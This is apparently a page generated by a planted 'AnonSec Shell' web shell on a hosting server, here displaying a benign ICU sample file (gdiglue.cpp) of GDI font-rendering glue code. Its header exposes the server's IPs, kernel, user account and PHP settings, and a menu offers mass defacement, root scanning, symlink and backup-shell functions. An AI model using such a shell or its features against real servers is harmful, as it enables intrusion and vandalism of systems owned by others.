AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 52.15.190.187   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/libicu/usr/share/doc/alt-libicu-devel/samples/layout/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/alt/libicu/usr/share/doc/alt-libicu-devel/samples/layout/gdiglue.cpp
/*
 *
 * © 2016 and later: Unicode, Inc. and others.
 * License & terms of use: http://www.unicode.org/copyright.html#License
 *
 * (C) Copyright IBM Corp. 1998-2007 - All Rights Reserved
 *
 */

#include <windows.h>

#include "unicode/utypes.h"
#include "loengine.h"
#include "rsurface.h"
#include "gsupport.h"

#include "gdiglue.h"

#include "LETypes.h"
#include "LEFontInstance.h"
#include "GDIGUISupport.h"
#include "GDIFontMap.h"
#include "ScriptCompositeFontInstance.h"


U_CDECL_BEGIN

gs_guiSupport *gs_gdiGuiSupportOpen()
{
    return (gs_guiSupport *) new GDIGUISupport();
}

void gs_gdiGuiSupportClose(gs_guiSupport *guiSupport)
{
    GDIGUISupport *gs = (GDIGUISupport *) guiSupport;

    delete gs;
}

rs_surface *rs_gdiRenderingSurfaceOpen(HDC hdc)
{
    return (rs_surface *) new GDISurface(hdc);
}

void rs_gdiRenderingSurfaceSetHDC(rs_surface *surface, HDC hdc)
{
    GDISurface *rs = (GDISurface *) surface;

    rs->setHDC(hdc);
}

void rs_gdiRenderingSurfaceClose(rs_surface *surface)
{
    GDISurface *rs = (GDISurface *) surface;

    delete rs;
}

fm_fontMap *fm_gdiFontMapOpen(rs_surface *surface, const char *fileName, le_int16 pointSize, gs_guiSupport *guiSupport, LEErrorCode *status)
{
    return (fm_fontMap *) new GDIFontMap((GDISurface *) surface, fileName, pointSize, (GDIGUISupport *) guiSupport, *status);
}

void fm_fontMapClose(fm_fontMap *fontMap)
{
    GDIFontMap *fm = (GDIFontMap *) fontMap;

    delete fm;
}

le_font *le_scriptCompositeFontOpen(fm_fontMap *fontMap)
{
    return (le_font *) new ScriptCompositeFontInstance((FontMap *) fontMap);
}

void le_fontClose(le_font *font)
{
    LEFontInstance *fi = (LEFontInstance *) font;

    delete fi;
}

U_CDECL_END

Anon7 - 2022
AnonSec Team